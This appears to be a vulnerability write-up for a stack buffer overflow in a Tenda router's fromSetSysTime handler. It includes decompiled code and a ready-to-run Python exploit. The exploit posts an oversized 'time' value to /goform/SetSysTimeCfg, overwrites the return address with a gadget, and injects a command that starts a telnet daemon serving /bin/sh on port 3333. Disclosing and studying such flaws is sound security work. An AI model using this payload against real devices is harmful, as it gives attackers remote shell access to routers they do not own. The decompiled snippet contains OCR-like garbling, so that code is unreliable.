

There is a stack buffer overflow vulnerability in the fromSetSysTime function.

The v6 variable is directly retrieved from the http request parameter time.

Then v6 will be splice to stack by function sscanf without any security check, which causes stack overflow.

```
V18 = 0;
v19 = 0;
v20 = 0;
V21 = 0;
V22 = 0;
v23 = 0;
LOWORD(v24) = 0;
V26 = 0;
v27 = 0;
LOWORD(\vee28) = 0;
vo = webgetvar(a1, (int)"time", (int)&byte_1C2CF0);
_isoc99_sscanf(vo, "%[^-]-%[^-]-%[^ ] %[^:]:%s", v13, v15, v17, &v19, &v22, &v26);
*(_DWORD *)&v33[20] = atoi((const char *)v13) - 1900;
*(_DWORD *)&v33[16] = atoi((const char *)v15) - 1;
*(_DWORD *)&v33[12] = atoi((const char *)v17);
*(_DWORD *)&v33[8] = atoi((const char *)&v19);
*(_DWORD *)&v33[4] = atoi((const char *)&v22);
*(_DWORD *)v33 = atoi((const char *)&v26);
v7 = mktime((struct tm *)v33);
if (v7 > 10)
  tv.tv_sec = v7;
  tv.tv usec = 0;
  if ( settimeofday(&tv, 0) >= 0 )
    SetValue("sys.timesyn", "0");
    v9 = SetValue("sys.timemode", "hand");
    if ( sub_66240(v9) )
    {
```

So by POSTing the page <code>/goform/SetSysTimeCfg</code> with proper <code>time</code>, the attacker can easily perform a <code>Remote Code Execution</code> or <code>Deny of Service(DoS)</code> with carefully crafted overflow data.

Exp

Remote Code Exection

```
# Title: Exploit of Tenda-AX3's buffer overflow
# Author: R1nd0&c0rn
# Date: 2022
# Vendor Homepage: https://www.tenda.com.cn/
# Version: AX1806 v1.0.0.1

import requests
from pwn import *

gadget = 0x37208

url = "https://192.168.2.1/goform/SetSysTimeCfg"

timeType = "manual"
```

```
time = b"2022-01-01 "

time += b"a" * 0x380
time += b"bbbb"
time += b";"
time += b"/usr/sbin/utelnetd -1 /bin/sh -p 3333"# command
time += b":"
time += b"c" * 0x374 + p32(gadget)

r = requests.post(url, data={'timeType': timeType, 'time': time},verify=False)
print(r.content)
```